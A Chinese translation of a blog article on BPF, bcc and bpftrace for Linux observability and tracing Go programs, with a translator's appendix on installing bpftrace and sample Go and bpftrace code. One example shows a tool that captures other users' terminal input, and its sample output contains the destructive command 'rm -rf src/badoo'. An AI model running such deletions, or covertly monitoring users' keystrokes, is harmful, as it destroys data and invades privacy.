Linux》(https://medium.com/bumble-tech/bpf-and-go-modern-forms-of-introspection-in-linux-6b9802682223)。\n每个人都有自己喜欢的关于魔法的书。对于一个人来说是托尔金，对于另一个人来说是普拉切特，对于第三个人来说，比如我，是马克斯-弗雷。今天我要给大家讲的是我最喜欢的IT魔法：BPF以及围绕它的现代基础设施。\nBPF目前正处于普及的高峰期。这项技术正在飞速发展，深入到意想不到的地方，并且越来越容易被普通用户所接受。现在几乎每个流行的会议都有关于这个主题的演讲，早在8月份，我就应邀在俄罗斯GopherCon上(GopherCon Russia)做了这方面主题的演讲。\n我在这方面有着很好的体验，所以我想和尽可能多的人分享一下。这篇文章将为你介绍为什么我们需要像BPF这样的东西，帮助你了解何时、如何使用它，以及它如何帮助作为工程师的你改善你正在进行的项目。我们还将看看它与Go的一些相关内容。\n我真正希望的是，你看完这篇文章后，就像小孩子第一次读完《哈利波特》后的眼睛一样，开始发亮，并且希望你自己亲自去尝试一下这个新“玩具”。\n一点点的背景 好吧，一个34岁的大胡子，眼神灼灼的告诉你这个魔法是什么？\n我们生活在2020年。打开Twitter，你可以读到愤怒的技术人士的推文，他们都在说，今天编写的软件质量太糟糕了，都需要扔掉，我们需要重新开始。有些人甚至威胁要彻底离开这个行业，因为他们实在无法忍受所有东西都坏了，不方便又慢。\n他们可能是对的：如果不查阅千篇一律的评论，就无法确定原因。但有一点我绝对同意，那就是现代软件堆栈比以往任何时候都要复杂：我们有BIOS、EFI、操作系统、驱动程序、模块、库、网络交互、数据库、缓存、编排器（比如K8s）、Docker容器，最后还有我们自己的带有运行时和垃圾收集的软件。\n一个真正的专业人士可能会花上几天时间来为你解释在浏览器中输入google.com之后会发生什么。\n要了解你的系统里面发生了什么，是非常复杂的，尤其是在目前，事情出了问题，你正在损失金钱的情况下。正是因为这个问题，才出现了帮你搞清楚系统内部情况的企业。在大公司里，有整整一个部门的福尔摩斯式的侦探，他们只知道在哪里敲敲锤子，在哪里拧紧螺栓就能节省数百万美元。\n我喜欢问人们如何在最短的时间内调试突发问题。大多数情况下，人们首先想到的方法是分析日志。但问题是，能获取的日志只局限于开发者放在系统中的日志，这是不灵活的。\n第二种最流行的方法是研究度量数据。最流行的三个研究度量数据的系统都是用Go编写的。度量数据是非常有帮助的，然而，虽然它们确实可以让你看到症状，但它们并不总是能帮助你定义出问题的根本原因。\n第三种是所谓的“可观察性”：你可以对系统的行为提出尽可能多的复杂问题，并获得这些问题的答案。由于问题可能非常复杂，所以答案可能需要最广泛的信息，而在问题被提出之前，我们并不知道这些信息是什么。而这意味着，可观察性绝对要求灵活性。\n提供一个机会来改变”在飞行中”的日志级别呢？使用调试器，在程序运行时连接到程序，并在不中断程序工作的情况下做一些事情呢？了解哪些查询被发送到系统中，可视化慢速查询的来源，通过pprof看看什么在占用内存，并获得其随时间变化的曲线图？测量一个函数的延迟以及延迟对参数的依赖性呢？我想把所有这些方法都归入可观察性这个总称之下。这是一组实用工具、方法、知识和经验，它们结合在一起，给了我们机会，如果不能做到我们想做的所有事情，但至少可以在系统工作时，在系统中“现场”做很多事情。它相当于现代IT界的一把瑞士军刀。\n但我们如何才能实现这一点呢？市场上已经存在很多类似的工具：有简单的，有复杂的，有危险的并且也有缓慢的。但今天的文章是关于BPF的。\nLinux内核是一个事件驱动的系统。实际上，在内核和系统中发生的所有事情，都可以被认为是一组事件。中断是一个事件；通过网络接收一个数据包是一个事件；将处理器的控制权转移到另一个进程是一个事件；运行一个函数是一个事件。\n对，所以BPF是Linux内核的一个子系统，它让你有机会编写小程序，这些小程序将在内核响应事件时被运行。这些程序既可以让你知道系统中发生了什么，也可以用于控制系统。\n现在让我们来了解一下具体的内容。\n什么是eBPF？ BPF的第一个版本在1994年问世。你们中的一些人可能会在为tcpdump工具编写简单的规则时遇到过它，该工具用于查看或”嗅探”网络数据包。你可以为tcpdump设置过滤器，所以你不必查看所有的数据包–只查看你感兴趣的数据包。例如，”只查看tcp协议和80端口”。对于每一个经过的数据包，都会运行一个函数来决定你是否需要保存这个特定的数据包。可以有非常多的数据包，所以我们的函数必须要快。事实上，我们的tcpdump过滤器被转化成了BPF函数。下面是一个例子。\n最初的BPF代表了一个非常简单的虚拟机，有几个寄存器。但尽管如此，BPF还是大大加快了网络数据包的过滤速度。在当时，这是一个重大的进步。\n2014年，一位非常著名的内核黑客Alexei Starovoitov对BPF的功能进行了扩展。他增加了寄存器的数量和程序允许的大小，增加了JIT编译，并创建了一个用于检查程序是否安全的程序。然而，最令人印象深刻的是，新的BPF程序不仅能够在处理数据包时运行，而且能够响应其他内核事件，并在内核和用户空间之间来回传递信息。\n这些变化为使用BPF的新方法提供了机会。一些过去需要通过编写复杂而危险的内核模块来实现的事情，现在可以相对简单地通过BPF来完成。为什么这么好呢？因为在编写模块的时候，任何错误往往都会导致恐慌(panic)，这可不是Go语言中的恐慌(panic)，而是内核恐慌。一旦发生，我们唯一能做的就是重启(操作系统)。\n普通的Linux用户突然拥有了一种新的超能力：能够查看”引擎盖下的情况”–这在以前只有核心内核开发者才有，或者说根本就没有人能够做到。这个选项可以和为iOS或Android编写程序的能力相提并论：在旧手机上，这要么是不可能的，要么就是太复杂。\nAlexei Starovoitov的新版本的BPF被称为eBPF（e代表扩展：extended）。但现在，它已经取代了所有旧版的BPF用法，并且已经变得非常流行，为了简单起见，它仍然被称为BPF。\nBPF用在哪里？ 好了，我们可以将BPF程序附加到哪些事件或触发器上呢，人们又是如何开始使用他们获得的新力量的呢？\n目前，触发器主要有两组。\n第一组是用于处理网络数据包和管理网络流量的。这是XDP、流量控制事件和其他几个。\n以下情况需要这些事件：\n创建简单但非常有效的防火墙。Cloudflare和Facebook等公司使用BPF程序来过滤掉大量的寄生流量，并对抗最大规模的DDoS攻击。由于处理发生在数据包生命的最早阶段，直接在内核中进行（一个BPF程序有时甚至直接推送到网卡中进行处理），所以巨量的流量可以通过这种方式进行处理。这些事情过去都是在专门的网络硬件上完成的。\n创建更智能、更有针对性、但性能更强的防火墙–这些防火墙可以检查通过的流量是否符合公司规则，是否存在漏洞模式等。例如，Facebook在内部进行这种审计，而一些项目则对外销售这类产品。\n创建智能负载均衡器。最突出的例子是Cilium项目，它最常被用作K8s集群中的网格网络。Cilium对流量进行管理，平衡、重定向和分析。而所有这些都是在内核运行的小型BPF程序的帮助下完成的，以响应与网络数据包或套接字有关的这个或那个事件。\n这是第一组与网络问题有关的触发器，并能够影响网络通信行为。第二组与更普遍的可观察性有关；这组中的程序大多时候无法影响任何事情，而只能”观察”。这是我比较感兴趣的。\n在这组中，有如下触发器。\nperf events – 与性能和perf Linux剖析器有关的事件：硬件处理器计数器，中断处理，拦截主要/次要内存异常等等。例如，我们可以设置一个处理程序，它将在每次内核需要从swap读取内存页时运行。例如，想象一下，一个显示当前使用swap的程序的工具。\ntracepoints – 内核源代码中的静态（由开发者定义）位置，你可以通过附加到这些位置来提取静态信息（由开发者早先准备的信息）。在这种情况下，静态似乎是一件坏事，因为我说过，日志的缺点之一是它们只包含程序员最初放在那里的东西。从某种意义上说，这是对的，但tracepoints有三个重要的优点。\n有相当多的跟踪点散落在内核中最有趣的地方。 当它们不 “开启 “时，它们不使用任何资源。 它们是API的一部分，它们是稳定的，而且不会改变。这一点非常重要，因为我们将要提到的其他触发器缺乏稳定的API。 例如，想象一下，一个有关显示的工具程序(utility)，由于某种原因，内核没有给它执行的时间。你坐着想知道为什么它这么慢，而pprof却没有什么有趣的东西可以显示。\nUSDT – 和tracepoints是一样的，但是是针对用户空间的程序。也就是说，作为一个程序员，你可以把这些位置添加到你的程序中。而且很多大规模的知名程序和编程语言已经采用了这些trace。比如：MySQL，或者PHP和Python等语言。通常它们的默认设置是”关闭”，如果要打开它们，你需要使用–enable-dtrace参数或类似的参数来重建解释器。是的，我们也可以在Go中注册这些类型的跟踪。你可能已经认出了参数名称中的单词DTrace。重点是，这种静态跟踪是由Solaris操作系统中诞生的同名系统所推广的。举个例子，想象一下，当一个新的线程被创建时，当一个GC或其他与特定语言或系统有关的东西被启动时，我们都能够觉察到。 这就是另一个层次的魔法开始的地方。\nFtrace触发器让我们可以选择在内核的任何功能开始时运行一个BPF程序。完全是动态的。这意味着内核会在你选择的任何内核函数开始执行之前，或者在所有内核函数开始执行之前，调用你的BPF函数–无论哪个，你都可以连接到所有的内核函数，并在输出时获得所有调用的可视化效果。\nkprobes/uprobes给你提供的东西和ftrace几乎一样，但是你可以选择在内核和用户空间执行一个函数时附加到任何位置。如果在函数中间，有一个变量上的’if’，而你需要为这个变量建立一个值的直方图，那就不是问题了。\nkretprobes/uretprobes–这里的一切类似于前面的触发器，但可以在内核函数或用户空间的函数返回时触发。这类触发器对于查看函数返回的内容，以及测量执行时间都很方便。例如，你可以查看’fork’系统调用返回的是哪个PID。\n关于这一切，我重复一遍，最美妙的事情是，当我们的BPF程序响应这些触发器而被调用后，我们的BPF程序可以好好的 “观察”一下：读取函数的参数，记录时间，读取变量，读取全局变量，进行堆栈跟踪，为以后保存一些东西，将数据发送到用户空间进行处理，和/或从用户空间获取数据或一些其他控制命令进行过滤。太棒了！\n我不知道你是怎么想的，但对我来说，这个新的基础架构就像一个我一直想得到的玩具。\nAPI：如何使用它 好了，马科，你已经说服了我们去看看BPF。现在我们怎么才能仔细看看呢？\n让我们看看BPF程序由什么组成，以及如何与它交互。\n首先，我们有一个BPF程序，如果它通过验证，将被加载到内核中。在那里，它将被JIT编译器编译成机器代码，并在内核模式下运行，这时附加的触发器(trigger)将被激活。\nBPF程序可以选择与第二部分，即与用户空间程序交互。有两种方式可以实现。我们可以向循环缓冲区写，用户空间部分可以从它那里读。我们也可以对键值图(key-value map)进行写和读，也就是所谓的BPF图(BPF map)，相应的，用户空间部分，也可以做同样的事情，这样，它们就可以互相传递信息了。\n基本用途 最简单的BPF工作方式，但却是你在任何情况下都不应该采用的从头开始的方式，就是用C语言编写BPF程序，然后用Clang编译器，将相关代码编译成虚拟机的代码。然后，我们加载这些代码，直接使用BPF系统调用，与我们的BPF程序进行交互，也使用BPF系统调用。\n第一个可用的简化方法是使用libbpf库。这是和内核的源代码一起提供的，可以让你直接使用BPF系统调用。基本上，它提供了方便的包装器来加载代码，以及使用BPF映射(BPF map)来从内核向用户空间发送数据并返回。\nbcc 显然，这对人们来说是远远不够方便的。幸运的是，在iovizor这个品牌下，出现了BCC项目，这让我们的生活变得更加方便。\n基本上，它为我们准备了整个构建环境，让我们可以编写单个的BPF程序，其中С部分会自动构建并加载到内核中，而用户空间部分则可以用Python制作，简单明了。\nbpftrace 但是，BCC似乎仍有很多事情很复杂。由于某些原因，人们特别不喜欢用С来写底层那部分。\n那些来自iovizor的人也提供了一个工具–bpftrace，它可以让你用类似AWK的简单脚本语言（甚至是单行代码）来编写BPF脚本。\nBrendan Gregg是生产力和可观察性领域的著名专家，他为可用的BPF工作方式制作了以下的图片。\n纵轴显示的是某个工具的易用性，而横轴显示的是它的能力。你可以看到，BCC是一个非常强大的工具，但它并不是超级简单的工具。\n使用BPF的例子 让我们来看看一些具体的例子，看看我们已经可以使用的这种神奇力量。\nBCC和bpftrace都包含了一个”工具”目录，其中包含了大量有趣而有用的即用型脚本。它们也可以作为本地的Stack Overflow使用，你可以从中复制代码块用于自己的脚本。\n例如，这里是显示DNS查询延迟的脚本。\n╭─marko@marko-home ~ ╰─$ sudo gethostlatency-bpfcc TIME PID COMM LATms HOST 16:27:32 21417 DNS Res~ver #93 3.97 live.github.com 16:27:33 22055 cupsd 7.28 NPI86DDEE.local 16:27:33 15580 DNS Res~ver #87 0.40 github.githubassets.com 16:27:33 15777 DNS Res~ver #89 0.54 github.githubassets.com 16:27:33 21417 DNS Res~ver #93 0.35 live.github.com 16:27:42 15580 DNS Res~ver #87 5.61 ac.duckduckgo.com 16:27:42 15777 DNS Res~ver #89 3.81 www.facebook.com 16:27:42 15777 DNS Res~ver #89 3.76 tech.badoo.com 16:27:43 21417 DNS Res~ver #93 3.89 static.xx.fbcdn.net 16:27:43 15580 DNS Res~ver #87 3.76 scontent-frt3-2.xx.fbcdn.net 16:27:43 15777 DNS Res~ver #89 3.50 scontent-frx5-1.xx.fbcdn.net 16:27:43 21417 DNS Res~ver #93 4.98 scontent-frt3-1.xx.fbcdn.net 16:27:44 15580 DNS Res~ver #87 5.53 edge-chat.facebook.com 16:27:44 15777 DNS Res~ver #89 0.24 edge-chat.facebook.com 16:27:44 22099 cupsd 7.28 NPI86DDEE.local 16:27:45 15580 DNS Res~ver #87 3.85 safebrowsing.googleapis.com ^C% 一个实时显示DNS查询完成时间的实用工具，例如，你可以抓住一些意想不到的异常值。\n下面是一个可以”监视”别人在终端上输入的内容的脚本。\n╭─marko@marko-home ~ ╰─$ sudo bashreadline-bpfcc TIME PID COMMAND 16:51:42 24309 uname -a 16:52:03 24309 rm -rf src/badoo 这种脚本可以用来捕捉”坏邻居”，或者对公司的服务器进行安全审计。\n下面是一个输出高级语言函数调用链的脚本。\n╭─marko@marko-home ~/tmp ╰─$ sudo /usr/sbin/lib/uflow -l python 20590 Tracing method calls in python process 20590... Ctrl-C to quit. CPU PID TID TIME(us) METHOD 5 20590 20590 0.173 -\u0026gt; helloworld.py.hello 5 20590 20590 0.173 -\u0026gt; helloworld.py.world 5 20590 20590 0.173 \u0026lt;- helloworld.py.world 5 20590 20590 0.173 \u0026lt;- helloworld.py.hello 5 20590 20590 1.174 -\u0026gt; helloworld.py.hello 5 20590 20590 1.174 -\u0026gt; helloworld.py.world 5 20590 20590 1.174 \u0026lt;- helloworld.py.world 5 20590 20590 1.174 \u0026lt;- helloworld.py.hello 5 20590 20590 2.175 -\u0026gt; helloworld.py.hello 5 20590 20590 2.176 -\u0026gt; helloworld.py.world 5 20590 20590 2.176 \u0026lt;- helloworld.py.world 5 20590 20590 2.176 \u0026lt;- helloworld.py.hello 6 20590 20590 3.176 -\u0026gt; helloworld.py.hello 6 20590 20590 3.176 -\u0026gt; helloworld.py.world 6 20590 20590 3.176 \u0026lt;- helloworld.py.world 6 20590 20590 3.176 \u0026lt;- helloworld.py.hello 6 20590 20590 4.177 -\u0026gt; helloworld.py.hello 6 20590 20590 4.177 -\u0026gt; helloworld.py.world 6 20590 20590 4.177 \u0026lt;- helloworld.py.world 6 20590 20590 4.177 \u0026lt;- helloworld.py.hello ^C% 下面这个例子显示了Python中程序的调用栈。(译注：原文似乎缺了这块的代码)。\nBrendan Gregg 制作了一张图片，它汇集了所有相关的脚本，箭头指向每个实用程序允许你观察的子系统。正如你所看到的，我们已经有了大量的现成的实用程序供我们使用–几乎可以应对任何可能的情况。\n那Go语言呢？ 现在我们来谈谈Go。我们有两个基本问题。\n你能用Go写BPF程序吗？ 你能分析用Go写的程序吗？ 我们按顺序来做。\n目前，唯一能够编译成BPF机器(BPF machine)能够理解的格式的编译器是Clang。另一个流行的编译器GСС，但gcc仍然没有BPF后端。而能够编译成BPF的编程语言，只有C语言的一个非常有限的版本(C的子集)。\n然而，BPF程序还有第二部分，就是在用户空间。而这可以用Go来编写。\n正如我在上面已经提到的，BCC允许你用Python来编写这部分，而Python是该工具的主要语言。同时，在主库中，BCC还支持Lua和C++，而且，在辅库中，它还支持Go。\n这个程序看起来和Python中的程序完全一样。一开始，它有一个字符串，其中的BPF程序是用C语言编写的，然后我们沟通在哪里附加一个给定的程序，我们用某种方式和它进行交互，比如从BPF图中提取数据。\n基本上就是这样了。更详细的例子可以在Github上查看。\n主要的缺点可能是我们使用的是C库，libbcc或者libbpf，用C库构建一个Go程序远不是一件容易的”事”。\n除了iovisor/gobpf之外，我还发现了另外三个最新的项目，可以让你在Go中写出用户层(userland)部分。\nhttps://github.com/dropbox/goebpf https://github.com/cilium/ebpf https://github.com/andrewkroh/go-ebpf Dropbox的版本不需要任何C库，但你需要自己用Clang构建BPF的内核部分，然后用Go程序将其加载到内核中。\nCilium的版本和Dropbox的版本有相同的具体内容。但值得一提的是，最主要的原因是它是由Cilium项目的人做的，这意味着它成功性更大。\n第三个项目我出于完整性的考虑而列出了。和前面两个项目一样，它没有外部的C语言依赖，需要用C语言手动构建BPF程序，但看起来，未来的前景不是特别乐观。\n其实，我们还应该问一个问题：到底为什么要用Go写BPF程序？因为如果你看BCC或者bpftrace，那么bPF程序占用的代码不到500行。但如果用bpftrace语言写一个小脚本，或者用一点Python，不是更简单吗？我看有两个理由要这么做。\n第一个原因是这样的。你确实很喜欢Go，而且更愿意用Go来做所有事情(译注：拿着go这柄锤子，眼中到处都是钉子)。此外，把Go程序从机器迁移到机器上可能更简单：静态链接，简单的二进制，以及所有这些。但事情远没有这么简单，因为我们被绑在一个特定的内核上。我就不说了，否则，我的文章又要长50页了。\n第二个原因是这样的。你写的不是一个简单的脚本，而是一个大规模的系统，这个系统内部也使用了BPF。我在Go中甚至有这样一个系统的例子。\nScope项目看起来像一个二进制程序，当它在K8s或其他云的基础设施中运行时，会分析发生的一切，并显示有哪些容器和服务，它们是如何交互的等等。而很多这些都是用BPF完成的。一个有趣的项目。\n用Go分析程序 如果你还记得，我们还有一个问题：我们能不能用BPF分析用Go编写的程序？我们的第一反应是：”可以，当然可以！” 程序用什么语言编写有什么区别呢？毕竟，它只是编译后的代码，和其他程序一样，在处理器中计算一些东西，疯狂地占用内存，并通过内核与硬件交互，通过系统调用与内核交互。原则上这是正确的，但也有一些细节–这些细节有不同程度的复杂性。\n传递参数 其中一个细节是，Go不使用大多数其他语言所使用的ABI(application binary interface)。它的工作方式是，”创始人”决定从Plan 9系统中提取ABI，这是一个他们非常熟悉的系统。\nABI和API一样，是一种接口约定–只是在比特、字节和机器代码的层面上。\n我们对ABI的主要内容感兴趣的是它的参数是如何传递给函数的，以及响应是如何从函数中回来的。如果说在标准的ABI x86-64中，处理器的寄存器是用来传递参数和响应的，而在Plan 9 ABI中，堆栈是则是用来实现这个目的的。\nRob Pike和他的团队并没有打算做另一个标准；他们已经为Plan 9系统准备了一个几乎是现成的C编译器–就像2 x 2一样简单–在很短的准备时间内，他们将其改造成了Go的编译器。这就是一个工程师的方法。\n然而，实际上这并不是一个如此关键的问题。首先，我们可能很快就会在Go中看到通过寄存器传递参数，其次，从BPF中获取堆栈参数并不复杂：sargX别名已经被添加到bpftrace中，而另一个别名很可能在不久的将来出现在BCC中。\n更新：自从我做了演讲之后，Go官方甚至还出了一个关于在ABI中使用寄存器的详细技术草案。\n唯一的线程标识符 第二个则是与Go的一个被钟爱的功能有关，即goroutines。测量函数延迟的方法之一是保存函数被调用的时间，得到函数的退出时间，并计算其差值。我们需要保存函数的启动时间以及一个键，这这个键将包含函数的名称和TID（线程ID）。线程ID是需要的，因为同一个函数可以被不同的程序，或者一个程序的不同线程同时调用。\n但是，在Go中，goroutine在系统线程之间移动：前一分钟，一个goroutine在一个线程上执行，后一分钟，在另一个线程上执行。而且，在Go的情况下，我们最好不要将TID放入键中，而是放入GID，即goroutine的ID–但不幸的是，我们无法获得它。从纯技术的角度来看，这个ID确实存在。你甚至可以用肮脏的黑客手段来提取它，因为它可以在堆栈的某个地方被找到，但这样做是被Go核心团队建议严格禁止的。他们认为这是我们永远不会需要的信息。goroutine本地存储也是如此–但这有点跑题了。\n扩展栈 第三个问题是最严重的问题。它是如此严重，以至于即使我们以某种方式解决了第二个问题，也无法帮助我们测量Go函数的延迟。\n大多数读者可能对什么是栈有了很好的理解。这也就是栈，与堆不同，你可以为变量分配内存，而不必考虑释放它们。\n但是对于C语言来说，在这种情况下，栈有一个固定的大小。如果我们超过了这个固定大小，就会出现众所周知的堆栈溢出现象。\n但在Go中，栈是动态的。在旧版本中，它是通过链接的内存块列表来实现的(即分段栈)。现在，它是一个动态大小的连续块。这意味着，如果分配的内存块对我们来说不够用，我们就扩展当前的内存块。而如果我们不能扩展它，我们就分配一个更大的，并将所有数据从旧的位置移动到新的位置。这一点非常吸引人，并且涉及到安全保证、cgo和垃圾收集等问题，但这是另一篇文章的主题。\n要知道，为了让Go能够移动堆栈，它必须处理调用栈，并且处理栈中的所有指针。\n而这就是基本的问题所在：uretprobes，用于将bPF探针附加到函数返回中，动态地改变堆栈以整合对其处理程序的调用–这就是所谓的 “蹦床(trampoline)”。而且，在大多数情况下，这改变了栈，这是Go不期望发生的事情，它会导致程序崩溃。糟了!\n顺便说一下，这个故事不是Go独有的。C++的堆栈拆分器在处理异常时也每每崩溃。\n这个问题没有解决办法。在这种情况下，像往常一样，双方各自向对方抛出完全有理有据的论点进行指责。\n但是，如果你真的需要设置uretprobe，有一个方法可以绕过这个问题。怎么解决？不要设置uretprobe探针。你可以在我们退出函数的所有位置设置一个uprobe。可能有一个这样的位置–或者50个。\n而这也是Go的独特性在我们手中发挥的地方。\n通常情况下，这种诡计是行不通的。一个足够聪明的编译器知道如何执行所谓的尾部调用优化，这时，我们不是从函数中返回，而是简单地跳到下一个函数的开始处。这种优化对于Haskell这样的函数式语言来说是至关重要的。如果没有它，你就无法在不发生堆栈溢出的情况下寸步难行。但是，有了这种优化，根本不可能找到我们从函数返回的所有位置。\n但具体来说，Go 1.14版本的编译器，还不能进行尾部调用优化。这就意味着，附加到函数的所有显式退出的技巧是可行的，即使它非常笨重。\n示例 不要认为BPF对Go无用。远非如此。我们可以做所有不涉及上述问题的其他事情。而且我们会这样做的。\n让我们来看一些例子。\n首先，我们来看一个简单的程序。基本上，它是一个监听8080端口的web服务器，并且有一个HTTP查询的处理程序。处理程序从URL中获取一个名称参数和一个年份参数，进行检查，然后将这三个变量（名称、年份和检查状态）发送给prepareAnswer()函数，然后该函数以字符串的形式准备一个答案。\nSite check是一个HTTP查询，在通道和goroutines的帮助下，检查会议站点是否工作。prepareAnswer函数只是将所有这些转化为一个可读的字符串。\n我们将通过curl的简单查询来触发我们的程序：\n对于我们的第一个例子，我们将使用 bpftrace 打印所有程序的函数调用。在本例中，我们将对 “main “下的所有函数进行附加。在Go中，所有的函数都有一个符号，其形式如下：包名-点-函数名。我们的包是’main’，函数的运行时是’runtime’。\n当我使用curl时，处理程序(handler)、site检查函数和goroutine子函数都会被执行，然后是准备答案函数(prepareAnswer)。很好！\n接下来，我不仅要导出那些正在执行的函数，还要导出它们的参数。让我们以函数prepareAnswer()为例，它有三个参数。让我们试着打印两个ints。\n让我们拿bpftrace来说，只不过这次不是单行代码，而是一个脚本。让我们将其附在我们的函数上，让我们像我说的那样，为堆栈参数使用别名。\n在输出中，我们看到，我们发送了2020，获得了状态200，还发送了一次2021。\n但这个函数有三个参数。第一个参数是一个字符串。那么这个参数呢？\n我们简单的导出0到3的所有堆栈参数，我们看看会看到什么？一个大数字，一个稍小的数字，还有我们以前的数字2021和200。一开始这些奇怪的数字是什么？\n这时，熟悉Go的内部结构是很有帮助的。如果说在C语言中，字符串只是一个以零结尾的字节数组，那么在Go语言中，字符串实际是一个结构体，由一个指向字节数组的指针（顺便说一下，这个指针不是以零结尾）和长度组成。\n但是Go编译器在以参数的形式发送一个字符串时，会将这个结构解开，作为两个参数发送。于是，第一个奇怪的数字确实是我们数组的指针，第二个是长度。\n果然：预期的字符串长度是22。\n相应地，我们修正一下我们的脚本，以便通过堆栈指针寄存器获得这两个值，以及正确的偏移量，并且，在集成的str()函数的帮助下，我们将其导出为一个字符串。这一切都成功了。\n我们也来看看运行时(runtime)的情况。例如，我想知道我们的程序启动了哪些goroutines。我知道goroutines是由函数newproc()和newproc1()启动的。我们来附着(attach)一下它们。funcval结构的指针是newproc1()函数的第一个参数。这个只有一个字段，就是函数的指针。\n在这种情况下，我们将使用直接在脚本中定义结构的功能。这比使用偏移量要简单一些。我们已经导出了所有的goroutine，当我们的处理程序被调用时，这些goroutine就会启动。之后，如果我们想获取偏移量的符号名称，那么我们就可以在其中看到我们的checkSite函数。万岁!\n这些例子对于BPF、BCC和bpftrace的功能来说只是沧海一粟。只要对内部工作原理有足够的了解和经验，您就可以从工作程序中获得几乎任何信息，而无需停止或改变它。\n结论 这就是我想告诉你的全部内容，希望对你有所启发。\nBPF是Linux中最时髦、最有前途的领域之一。而且我相信，在未来的几年里，我们会看到更多有趣的东西–不仅是技术本身，还有工具和它的传播。\n现在还不算太晚，也不是每个人都知道BPF，所以赶快去学习，成为魔术师，解决问题，帮助你的同事。都说魔术师的招数只有一次。\n说到Go，照例，我们的结局很独特。我们总是有一些怪癖，无论是不同的编译器，还是ABI，需要GOPATH，有一个你无法谷歌的名字。但我认为，可以说我们（Go)已经成为一股不可忽视的力量，在我看来，情况只会越来越好。\n附录（译者添加，原文没有此节) 在ubuntu 18.04上安装bpftrace ubuntu 19.04及以后版本可以直接通过下面命令安装bpftrace：\n(sudo) apt-get install -y bpftrace 但18.04版本的apt官方源中并没有bpftrace。但snap中有：\n# snap install --devmode bpftrace 2020-12-17T17:21:24+08:00 INFO Waiting for automatic snapd restart... bpftrace 20201207-1718-v0.11.4 from Colin King (cking-kernel-tools) installed # snap connect bpftrace:system-trace # which bpftrace /snap/bin/bpftrace Build version: v0.11.4 LLVM: 7 foreach_sym: no unsafe uprobe: no bfd: yes bpf_attach_kfunc: no bcc_usdt_addsem: no bcc bpf_attach_uprobe refcount: no libbpf: no libbpf btf dump: no libbpf btf dump type decl: no Kernel helpers probe_read: yes probe_read_str: yes probe_read_user: yes probe_read_user_str: yes probe_read_kernel: yes probe_read_kernel_str: yes get_current_cgroup_id: yes send_signal: yes override_return: yes Kernel features Instruction limit: -1 Loop support: no btf: no Map types hash: yes percpu hash: yes array: yes percpu array: yes stack_trace: yes perf_event_array: yes Probe types kprobe: no tracepoint: yes perf_event: yes kfunc: no 但通过snap安装的bpftrace有缺陷：\n# bpftrace -e 'uprobe:/root/test/go/goebpf/testprogram:main.* { printf(\u0026quot;%s - %s\\n\u0026quot;, comm, func); }' sh: 1: objdump: not found No probes to attach 这个问题在https://github.com/iovisor/bpftrace/issues/1430中有解决方法，那就是从bpftrace官方提供的docker镜像中将无缺陷的bpftrace拷贝出来：\n# docker pull quay.io/iovisor/bpftrace:master-vanilla_llvm_clang_glibc2.27 master-vanilla_llvm_clang_glibc2.27: Pulling from iovisor/bpftrace da7391352a9b: Pull complete 14428a6d4bcd: Pull complete 2c2d948710f2: Pull complete 8aeae4c5f345: Pull complete e3b704c358bf: Pull complete Digest: sha256:77ded0c887c91a431a1ebe508944eae0ed0fab9c51fc2867146c9b4b347becc7 Status: Downloaded newer image for quay.io/iovisor/bpftrace:master-vanilla_llvm_clang_glibc2.27 quay.io/iovisor/bpftrace:master-vanilla_llvm_clang_glibc2.27 # docker run -v $(pwd):/output quay.io/iovisor/bpftrace:master-vanilla_llvm_clang_glibc2.27 /bin/bash -c \u0026quot;cp /usr/bin/bpftrace /output\u0026quot; # mv bpftrace /snap/bin \u0026lt;--- 覆盖掉原snap安装的bpftrace # bpftrace -e 'uprobe:/root/test/go/goebpf/testprogram:main.* { printf(\u0026quot;%s - %s\\n\u0026quot;, comm, func); }' Attaching 5 probes... 文中一些go文件的源码 // testprogram.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;strconv\u0026quot; ) func main() { http.HandleFunc(\u0026quot;/\u0026quot;, handler) if err := http.ListenAndServe(\u0026quot;:8080\u0026quot;, nil); err != nil { panic(err) } } func handler(writer http.ResponseWriter, request *http.Request) { query := request.URL.Query() name := query.Get(\u0026quot;name\u0026quot;) year_, _ := strconv.ParseUint(query.Get(\u0026quot;year\u0026quot;), 10, 32) year := int(year_) status := checkSite() answer := prepareAnswer(name, year, status) writer.Write([]byte(answer + \u0026quot;\\n\u0026quot;)) return } //go:noinline func checkSite() int { resultChan := make(chan int) go func() { resp, err := http.Get(\u0026quot;https://www.gophercon-russia.ru\u0026quot;) if err != nil { log.Fatalf(\u0026quot;http get failed: %s\\n\u0026quot;, err) } resultChan \u0026lt;- resp.StatusCode }() return \u0026lt;-resultChan } //go:noinline func prepareAnswer(name string, year int, status int) string { answer := fmt.Sprintf(\u0026quot;Hello, %s %d! Website returned status %d.\u0026quot;, name, year, status) return answer } myscript3.bt：\n# cat myscript3.bt uprobe:/root/test/go/goebpf/testprogram:main.prepareAnswer { $length = reg(\u0026quot;sp\u0026quot;)+16; $array = reg(\u0026quot;sp\u0026quot;)+8; printf(\u0026quot;%s - %s %d %d\\n\u0026quot;, func, str(*($array), $length), sarg2, sarg3); } **“Gopher部落”知识星球开球了！**高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！星球首开，福利自然是少不了的！2020年年底之前，8.8折(很吉利吧^_^)加入星球，下方图片扫起来吧！\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 